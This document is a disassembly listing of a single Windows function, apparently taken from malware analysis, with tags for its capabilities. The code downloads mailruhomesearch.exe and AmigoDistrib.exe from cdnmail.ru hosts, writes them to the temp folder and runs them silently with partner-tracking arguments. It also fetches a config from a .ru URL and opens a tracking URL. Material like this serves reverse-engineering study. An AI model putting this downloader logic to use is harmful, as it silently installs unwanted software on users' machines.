Function at 0x401af0
Capabilities:
Check if file exists
Connect to http server
Create http request
Create process on windows
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x50a4
call fcn.00406dd0
push ebx
push esi
xor ebx, ebx
push edi
lea esi, [ebp - 0x85c]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call fcn.004010c0
lea esi, [ebp - 0x1064]
call fcn.004010c0
lea esi, [ebp - 0x186c]
call fcn.004010c0
lea esi, [ebp - 0x3084]
call fcn.004010c0
lea esi, [ebp - 0x287c]
call fcn.004010c0
lea esi, [ebp - 0x2074]
call fcn.004010c0
lea esi, [ebp - 0x50a4]
call fcn.004010c0
lea esi, [ebp - 0x4094]
call fcn.004010c0
lea esi, [ebp - 0x388c]
call fcn.004010c0
lea esi, [ebp - 0x489c]
call fcn.004010c0
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0x1064]
mov ecx, 0x400
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x400
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
push 0x2c
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x401c1e
push str.123456
call fcn.004013f0
add esp, 4
mov dword [ebp - 0x10], eax
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0x1064]
mov ecx, 0x400
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x400
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
mov dword [ebp - 0xc], ebx
push ecx
push edi
push esi
xor ecx, ecx
mov edi, dword [ebp - 0x1064]
mov esi, dword [ebp - 0x10]
lodsb al, byte [esi]
stosb byte es:[edi], al
inc ecx
cmp al, 0
jne 0x401c05
dec ecx
mov dword [ebp - 0xc], ecx
pop esi
pop edi
pop ecx
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x402155
mov eax, dword [ebp - 0x1064]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0x85c]
mov ecx, 0x400
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x400
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0x85c]
mov ecx, 0x400
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x400
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
mov dword [ebp - 0xc], ebx
push ecx
push edi
push esi
xor ecx, ecx
mov edi, dword [ebp - 0x85c]
mov esi, str.http:__horses.upfile_trade.ru_get_download_xml_3_id6203621did250921413hsig
lodsb al, byte [esi]
stosb byte es:[edi], al
inc ecx
cmp al, 0
jne 0x401ca5
dec ecx
mov dword [ebp - 0xc], ecx
pop esi
pop edi
pop ecx
push str.tGn3BdC0
call fcn.004013f0
add esp, 4
mov dword [ebp - 0xc], eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, dword [ebp - 0xc]
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x401cda
pop esi
pop edi
pop ecx
pop eax
push ebx
push ebx
push ebx
push ebx
push str.tiny_dl_nix
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [ebp - 0x85c]
push ebx
push 0x84000000
push ebx
push ebx
mov edi, eax
push ecx
push edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
je 0x401d33
lea edx, [ebp - 0xc]
push edx
push 0x1000
push 0x40f798
push esi
mov dword [ebp - 0xc], ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [0x40f798], bl
je 0x401f4f
mov eax, str._referer_
call fcn.004018f0
push eax
lea edx, [ebp - 0x186c]
call fcn.00401110
mov eax, str._referer_amigo_
call fcn.004018f0
push eax
lea edx, [ebp - 0x3084]
call fcn.00401110
mov eax, str._partner_new_url_
call fcn.004018f0
push eax
lea edx, [ebp - 0x287c]
call fcn.00401110
mov eax, str._partner_new_url_amigo_
call fcn.004018f0
push eax
lea edx, [ebp - 0x2074]
call fcn.00401110
mov eax, str._partner_online_url_
call fcn.004018f0
push eax
lea edx, [ebp - 0x50a4]
call fcn.00401110
mov eax, str._partner_homepage_url_
call fcn.004018f0
push eax
lea edx, [ebp - 0x4094]
call fcn.00401110
mov eax, str._partner_dse_url_
call fcn.004018f0
push eax
lea edx, [ebp - 0x388c]
call fcn.00401110
mov eax, str._mpcln_
call fcn.004018f0
push eax
lea edx, [ebp - 0x489c]
call fcn.00401110
push 0x801
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push ebx
push ebx
push 3
push 0x408994
push 0x408994
push 0x50
push str.sputnikmailru.cdnmail.ru
push edi
mov dword [ebp - 0xc], eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push ebx
push ebx
push ebx
push ebx
push ebx
push str._mailruhomesearch.exe
mov esi, eax
push 0x4089cc
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push ebx
push ebx
push ebx
mov edi, eax
push ebx
push edi
mov dword [ebp - 0x18], edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x401fdc
lea eax, [ebp - 0x1064]
lea edx, [ebp - 0x85c]
call fcn.00401180
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str.mailruhomesearch.exe
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x401e78
pop esi
pop edi
pop ecx
pop eax
mov ecx, dword [ebp - 0x85c]
push ebx
push 0x20
push 2
push ebx
push ebx
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401ebf
mov edx, dword [ebp - 0x18]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
call esi
mov eax, dword [ebp - 0x14]
push eax
call esi
mov ecx, dword [ebp - 0x10]
push ecx
call esi
jmp 0x4029a7
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0xc]
mov ecx, 0x801
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x801
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
mov edi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 4]
push eax
push 0x800
push edi
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401f29
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x401fcf
push ebx
lea edx, [ebp - 8]
push edx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401ec5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call esi
mov ecx, dword [ebp - 0x14]
push ecx
call esi
mov edx, dword [ebp - 0x10]
push edx
call esi
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 0x4098]
mov ecx, dword [ebp - 0x3088]
mov edx, dword [ebp - 0x3890]
mov byte [eax + 0x40b788], bl
mov eax, dword [ebp - 0x48a0]
mov byte [ecx + 0x40b788], bl
mov ecx, dword [ebp - 0x1870]
mov byte [edx + 0x40b788], bl
mov edx, dword [ebp - 0x2078]
mov byte [eax + 0x40b788], bl
mov eax, dword [ebp - 0x2880]
mov byte [ecx + 0x40b788], bl
mov ecx, dword [ebp - 0x1068]
mov byte [edx + 0x40b788], bl
mov edx, dword [ebp - 0x860]
mov byte [eax + 0x40b788], bl
mov eax, dword [ebp - 0x58]
mov byte [ecx + 0x40b788], bl
mov byte [edx + 0x40b788], bl
mov byte [eax + 0x40b788], bl
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
mov ecx, dword [ebp - 0x10]
push ebx
push ebx
push 3
push 0x408994
push 0x408994
push 0x50
push str.amigobin.cdnmail.ru
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
push ebx
push ebx
push ebx
push ebx
push ebx
push str._AmigoDistrib.exe
mov esi, eax
push 0x4089cc
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push ebx
push ebx
push ebx
mov edi, eax
push ebx
push edi
mov dword [ebp - 0x18], edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x402149
lea eax, [ebp - 0x1064]
lea edx, [ebp - 0x85c]
call fcn.00401180
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str.Amigo.exe
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402064
pop esi
pop edi
pop ecx
pop eax
mov edx, dword [ebp - 0x85c]
push ebx
push 0x20
push 2
push ebx
push ebx
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4020ab
mov eax, dword [ebp - 0x18]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call esi
mov ecx, dword [ebp - 0x14]
push ecx
call esi
mov edx, dword [ebp - 0x10]
push edx
call esi
jmp 0x401f4f
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0xc]
mov ecx, 0x801
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x801
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
mov edi, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
lea ecx, [ebp - 4]
push ecx
push 0x800
push edi
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402111
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x40213c
push ebx
lea ecx, [ebp - 8]
push ecx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x4020b1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x18]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
call esi
mov eax, dword [ebp - 0x14]
push eax
call esi
mov ecx, dword [ebp - 0x10]
push ecx
call esi
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x4029a7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
mov eax, dword [ebp - 0x10]
push eax
call edi
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0x85c]
mov ecx, 0x400
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x400
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0x85c]
mov ecx, 0x400
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x400
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
mov dword [ebp - 0xc], ebx
push ecx
push edi
push esi
xor ecx, ecx
mov edi, dword [ebp - 0x85c]
mov esi, str.__silent
lodsb al, byte [esi]
stosb byte es:[edi], al
inc ecx
cmp al, 0
jne 0x4021d0
dec ecx
mov dword [ebp - 0xc], ecx
pop esi
pop edi
pop ecx
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, 0x408a28
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x4021f7
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str._rfr
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x40221a
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, dword [ebp - 0x186c]
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x40223e
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, 0x408a28
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402261
pop esi
pop edi
pop ecx
pop eax
mov esi, dword [ebp - 0x287c]
push str.___HWSIG
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
cmp eax, ebx
je 0x402285
sub eax, esi
jmp 0x402288
or eax, 0xffffffff
push 8
lea ecx, [ebp - 0x287c]
push ecx
mov dword [ebp - 4], eax
call fcn.00401310
push str.hMK5D6dq
call fcn.004013f0
mov ebx, dword [ebp - 4]
add esp, 4
push eax
lea edx, [ebp - 0x287c]
push edx
call fcn.00401200
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str._partner_new_url
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x4022cf
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, dword [ebp - 0x287c]
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x4022f3
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, 0x408a28
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402316
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str._partner_online_url
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402339
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, dword [ebp - 0x50a4]
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x40235d
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str.___mpcln
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402380
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, dword [ebp - 0x489c]
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x4023a4
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, 0x408a28
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x4023c7
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str._partner_homepage
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x4023ea
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, dword [ebp - 0x4094]
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x40240e
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, 0x408a28
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402431
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str._partner_dse
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402454
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, dword [ebp - 0x388c]
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402478
pop esi
pop edi
pop ecx
pop eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0xc], eax
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0xc]
mov ecx, 0x3c
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x3c
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
mov edx, dword [ebp - 0x186c]
xor ebx, ebx
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0xc], edx
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0xc]
mov ecx, 0x400
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x400
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
mov ecx, dword [ebp - 0x1064]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0xc], ebx
push ecx
push edi
push esi
xor ecx, ecx
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x10]
lodsb al, byte [esi]
stosb byte es:[edi], al
inc ecx
cmp al, 0
jne 0x402513
dec ecx
mov dword [ebp - 0xc], ecx
pop esi
pop edi
pop ecx
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x186c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str.mailruhomesearch.exe
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x40253a
pop esi
pop edi
pop ecx
pop eax
mov dword [ebp - 0x44], edx
mov edx, dword [ebp - 0x85c]
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x38], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0x85c]
mov ecx, 0x400
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x400
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0x85c]
mov ecx, 0x400
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x400
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
mov dword [ebp - 0xc], ebx
push ecx
push edi
push esi
xor ecx, ecx
mov edi, dword [ebp - 0x85c]
mov esi, str.___silent
lodsb al, byte [esi]
stosb byte es:[edi], al
inc ecx
cmp al, 0
jne 0x4025d9
dec ecx
mov dword [ebp - 0xc], ecx
pop esi
pop edi
pop ecx
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, 0x408a28
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402600
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str.__rfr
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402623
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, dword [ebp - 0x3084]
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402647
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, 0x408a28
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x40266a
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str.__ua_rfrCHANNEL_
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x40268d
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, dword [ebp - 0x3084]
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x4026b1
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, 0x408a28
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x4026d4
pop esi
pop edi
pop ecx
pop eax
mov esi, dword [ebp - 0x2074]
push str.___HWSIG
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
cmp eax, ebx
je 0x4026f8
sub eax, esi
jmp 0x4026fb
or eax, 0xffffffff
push 8
lea ecx, [ebp - 0x2074]
push ecx
mov dword [ebp - 4], eax
call fcn.00401310
push str.k7jsGY99
call fcn.004013f0
mov ebx, dword [ebp - 4]
add esp, 4
push eax
lea edx, [ebp - 0x2074]
push edx
call fcn.00401200
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str.___partner_new_url
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402742
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, dword [ebp - 0x2074]
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402766
pop esi
pop edi
pop ecx
pop eax
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, 0x408af0
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402789
pop esi
pop edi
pop ecx
pop eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0xc], eax
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0xc]
mov ecx, 0x3c
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x3c
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
mov edx, dword [ebp - 0x186c]
xor ebx, ebx
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0xc], edx
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0xc]
mov ecx, 0x400
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x400
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
mov ecx, dword [ebp - 0x1064]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0xc], ebx
push ecx
push edi
push esi
xor ecx, ecx
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x10]
lodsb al, byte [esi]
stosb byte es:[edi], al
inc ecx
cmp al, 0
jne 0x402824
dec ecx
mov dword [ebp - 0xc], ecx
pop esi
pop edi
pop ecx
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x186c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str.Amigo.exe
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x40284b
pop esi
pop edi
pop ecx
pop eax
mov esi, dword [ebp - 0x85c]
mov dword [ebp - 0x44], edx
lea edx, [ebp - 0x54]
push edx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x38], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
call fcn.00401870
mov edx, eax
mov dword [ebp - 0x10], edx
cmp edx, ebx
je 0x402938
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0x85c]
mov ecx, 0x400
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x400
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0x85c]
mov ecx, 0x400
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x400
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
mov dword [ebp - 0xc], ebx
push ecx
push edi
push esi
xor ecx, ecx
mov edi, dword [ebp - 0x85c]
mov esi, dword [ebp - 0x10]
lodsb al, byte [esi]
stosb byte es:[edi], al
inc ecx
cmp al, 0
jne 0x4028fa
dec ecx
mov dword [ebp - 0xc], ecx
pop esi
pop edi
pop ecx
push eax
push ecx
push edi
push esi
mov al, 0
mov ecx, 0x1000
mov edi, dword [ebp - 0x85c]
repne scasb al, byte es:[edi]
dec edi
mov esi, str.AmigoApplicationAmigo.exe
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp al, 0
jne 0x402921
pop esi
pop edi
pop ecx
pop eax
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov esi, dword [ebp - 0x85c]
push 0x186a0
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4029a7
lea eax, [ebp - 0x54]
mov dword [ebp - 0xc], eax
push eax
push edi
push ecx
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
shl eax, 8
mov al, 0
mov edi, dword [ebp - 0xc]
mov ecx, 0x3c
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, 0x3c
and ecx, 3
rep stosb byte es:[edi], al
pop ecx
pop edi
pop eax
lea ecx, [ebp - 0x54]
push ecx
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x40], str.http:__facebstats.com_amigoreg.php_i46636
mov dword [ebp - 0x38], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov edx, dword [ebp - 0x4098]
mov eax, dword [ebp - 0x3088]
mov ecx, dword [ebp - 0x3890]
mov byte [edx + 0x40b788], bl
